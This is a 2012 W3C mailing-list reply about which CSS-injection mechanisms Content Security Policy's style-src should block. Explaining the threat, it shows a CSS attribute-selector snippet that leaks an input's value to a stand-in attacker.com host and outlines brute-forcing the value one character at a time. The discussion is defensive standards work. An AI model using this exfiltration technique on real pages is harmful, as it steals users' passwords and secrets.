Re: CSP and inline styles

On Mon, Oct 22, 2012 at 4:50 PM, Jonas Sicking <jonas@sicking.cc> wrote:
> On Mon, Oct 22, 2012 at 3:28 PM, Adam Barth <w3c@adambarth.com> wrote:
>> On Mon, Oct 22, 2012 at 3:02 PM, Ian Melven <imelven@mozilla.com> wrote:
>>> As part of our work to implement the CSP 1.0 spec in Gecko (https://bugzilla.mozilla.org/show_bug.cgi?id=663566),
>>> we have been looking at what we need to do to block inline styles (https://bugzilla.mozilla.org/show_bug.cgi?id=763879)
>>>
>>> The reason for this post is that we need more discussion among the WG (and possible clearer guidance in the spec) as to what
>>> threats blocking styles is intended to address and what threats are considered out of scope for this
>>> restriction (eg if it's intended to stop data exfiltration).
>>
>> The main threat we're trying to protect against is attackers who can
>> inject markup into a document using CSS3 attribute selectors to steal
>> passwords (and other data) store in input element attributes.  Also,
>> we're worried about future evolution of CSS increasing this risk.
>
> Do you have any pointers to how this would work?

I couldn't find a good reference, so I'll try my best to explain.  The
underlying problem is that CSS3 attribute selectors are too powerful.
Consider the following document:

<style>
input[value^="sec"] { background-color: url(https://attacker.com/q?sec) }
</style>
<input value="secret">

Using <style>, the attacker can determine that the input element
contains a word that starts with the letters "sec".  Now, imagine
doing this one letter at a time.  After around 26 guesses, the
attacker can determine the first letter "s".  Then he or she works on
the second character by checking "sa", "sb", "sc", etc.  In this way,
the attacker can figure out the full value of the input element.

Using other tricks, the attacker can actually do many of these queries
in parallel, but hopefully the above approach gives you the idea.

> Why aren't we also worried about phone-home attacks where an attacker
> can cause a network request to happen where the URL contains private
> data from the page. I.e. the attack from:
>
> http://scarybeastsecurity.blogspot.com.es/2009/12/generic-cross-browser-cross-domain.html

That's an entirely different sort of attack, and one that is no longer
possible in modern browsers because we've fixed it.

> I agree that for things like background images we should simply rely
> on the img-src feature to catch this. However CSS is growing features
> which allow network requests to happen to non-image resources.
> Specifically Gecko allows using the filter property to link to SVG
> files and read filters out of those. And I believe there are at least
> development versions of WebKit which allows linking to shader
> programs.

Generating network requests isn't the issue.  The issue is being able
to use advanced selectors, like CSS3 attribute selectors.  We're never
going to plug all the exfiltration vectors.  It's not even worth
trying.

> Simply relying on default-src doesn't seem great. Maybe treating those
> as style-src would reduce the attack surface here.

We're talking about entirely different classes of attacks.

>>> Additionally, we could really use clarification in the spec as to what methods of applying CSS should be blocked in a CSP 1.0 compliant UA
>>> (and this would hopefully lead to more consistency across implementations).
>>>
>>> Previously on this mailing list, we discussed blocking mechanisms that apply CSS that
>>> are equivalent to inserting and parsing a <style> node in the DOM.
>>>
>>> Specifically, we considered the following list of ways to apply CSS:
>>> (from https://bugzilla.mozilla.org/show_bug.cgi?id=763879#c26)
>>
>> I've taken the liberty of re-arranging the order of your list.
>>
>>> * doc.body.appendChild(doc.createElement("style"));
>>> * doc.body.setAttribute("style", "...");
>>> * doc.body.innerHTML = "<style>...</style>";
>>
>> These are blocked.
>
> doc.body.style.cssText also belongs here, right?

No.  Nothing in the CSSOM is blocked.  Only things in the DOM.

>>> * doc.body.style.background = "...";
>>> * bgcolor attributes appearing in the markup
>>> * <font> elements appearing in the markup
>>> * doc.body.appendChild(doc.createElement("font"));
>>> * doc.body.bgcolor = "...";
>>
>> These are not blocked.
>
> I'd rather determine the criteria to use rather than declaring in/out
> for these just yet.

The criteria is defined in the specification:

----8<----
If 'unsafe-inline' is not in allowed style sources:

* Whenever the user agent would apply style from a style element,
instead the user agent must ignore the style.
* Whenever the user agent would apply style from a style attribute,
instead the user agent must ignore the style.

Note: These restrictions on inline do not prevent the user agent from
applying style from an external stylesheet (e.g., found via <link
rel="stylesheet">). The user agent is also not prevented from applying
style from Cascading Style Sheets Object Model (CSSOM). [CSSOM]
---->8----

>>> However, in https://bugzilla.mozilla.org/show_bug.cgi?id=763879#c33 Jonas points out:
>>>
>>> "The data-stealing attack described in the article below could be done using just element.style.background = ...;
>>
>> That's correct, but we need to stop somewhere.  An attacker who can
>> inject markup into a document cannot add code that assign arbitrary
>> values to element.style.background.  The page needs to do something
>> more to be vulnerable.
>>
>> It's not entirely obvious to me where to draw the line as to what to
>> block.  The spec draws it in an easy-to-define place that also
>> mitigates the largest risks.  We could mitigate progressively obscure
>> risks by blocking more things, and we could potentially block less
>> things without getting into too much security trouble.
>
> I agree that we need to draw a line and that it's non-obvious where to
> draw that line. Looking at it from the point of view of specific
> attacks seems like a good idea to me.
>
> I would say being worried about defacement attacks by using
> positioning/colors/borders/etc is not something we should worry about
> since the cost is too high and the risk relatively low.

Agreed.

> However network requests is something that I would worry about.

That's something to worry about, but that's not what style-src
controls.  style-src controls where you're allowed to get style from.
If the CSS engine is generating network requests, we can introduce
other directives to control them, depending on what sorts of things
they are.  For example, when the CSS engine requests images, those are
governed by img-src.  When the CSS engine requests other style sheets
(e.g., via @import), those are governed by style-src.  etc.

>>> So while it might "feel" safer, it's arguably not.
>>>
>>> http://scarybeastsecurity.blogspot.com.es/2009/12/generic-cross-browser-cross-domain.html "
>>
>> It doesn't have anything to do with "feeling" safer.  It has to do
>> with being beyond the capabilities of the attacker we're trying to
>> stop.
>>
>>> There is more discussion in bug 763879 about what mechanisms in the above list are equivalent and what
>>> the important distinction when evaluating these mechanisms is, and if basing it around if the
>>> mechanism is equivalent to inserting a <style> node goes far enough - my personal opinion agrees with a
>>> statement from Jonas : "The critical distinction isn't whether you have to call a JS function in
>>> order to launch the attack. The distinction is whether that function parses strings into harmful content."
>>
>> I disagree with Jonas.  An attacker who can inject markup cannot call
>> JavaScript functions (at least when CSP stops such an attacker from
>> injecting script).  Therefore, attack vectors that require calling
>> JavaScript functions are beyond the attacker's capabilities and
>> therefore less worrisome.
>
> Yet you are saying that setAttribute("style", ...) and
> createElement("style")... should be blocked. And I assume that we all
> agree that eval() should be blocked when inline script is blocked.
> Even though all of these require calling javascript functions.

Correct.

> The concern here isn't that the attacker injects a JS function call.
> The concern here is a page doing something like:
>
> x = getData3rdPartyData();
> y = getUserPrivateData();
> body.style.background = x + y;

I'm not actually concerned about those cases.  The only reason to
block setAttribute("style", ...) is to draw a clean line between what
is blocked and what is not blocked.  The line is that we're blocking
style that originates from the style element and the style attribute,
just like we're blocking JavaScript from the "onclick" attribute,
whether or not the onclick attribute is set via
setAttribute("onclick", ...).

> Code like this would allow a 3rd party to ship user data home. It
> relies on function calls, yet doesn't require the third party to
> inject any function calls into the page.

That's true, but unrelated to the attack we're trying to prevent.

On Mon, Oct 22, 2012 at 7:31 PM, Boris Zbarsky <bzbarsky@mit.edu> wrote:
> On 10/22/12 6:28 PM, Adam Barth wrote:
>>> * doc.body.setAttribute("style", "...");
>>
>> These are blocked.
>>
>>> * doc.body.style.background = "...";
>>
>> These are not blocked.
>
> Once again, these are functionally equivalent given cssText.

Indeed, they do equivalent things, but they are different APIs.  One
is the DOM and the other is CSSOM.

> And it's
> actually _more_ work, both in spec terms and in terms of implementation (at
> least in Gecko) to block one but not the other.

It isn't more work in spec terms.

> So I'm still not sure why we're blocking one but not the other...

The reason is that the spec has to draw a line somewhere.  The line
drawn in the spec has the following two advantages:

1) It is consistent with how we treat inline event handlers for
script-src (e.g., we block setAttribute("style", ...) the same way we
block setAttribute("onclick", ...)).

2) The line doesn't distinguish between DOM operations performed by
the HTML parser and DOM operations performed by the page.

> We should just block all inline
> style and be done with it, instead of worrying exactly how it was set.

That's another place to draw the line.  Do you have spec text you'd
like to propose for doing that?  It's easier for me to think about
these sorts of changes with concrete text.

>> That's correct, but we need to stop somewhere.  An attacker who can
>> inject markup into a document cannot add code that assign arbitrary
>> values to element.style.background.
>
> Nor can they call setAttribute, yes?  So why are we blocking the
> setAttribute version?

To be consistent with how we treat inline event handlers for
script-src and to avoid distinguishing between DOM operations
performed by the parser and DOM operations performed by script.

> Or are we just trying to block parser-triggered attribute sets and it
> happens to be hard to distinguish those from scripted attribute sets in some
> implementations?

It doesn't have anything to do with implementation difficulty.

>> It's not entirely obvious to me where to draw the line as to what to
>> block.  The spec draws it in an easy-to-define place
>
> I still have to see a clear definition of the inline style behavior in this
> spec.  Everything I have seen so far has basically required
> reverse-engineering UAs to understand what the spec is trying to say.

Can you explain what is unclear about the text that is currently in
the spec?  I'm happy to improve the clarity of the requirements, but
I'm not sure we agree about what behavior we're trying to specify.

> Again, it would be easier to just spec that inline style is not applied,
> period.

I'm not sure I agree.  If you propose specific text that you think we
should use in place of the current text, then it would be easier to
compare the two to see which is easier.

Adam

Received on Tuesday, 23 October 2012 05:41:44 UTC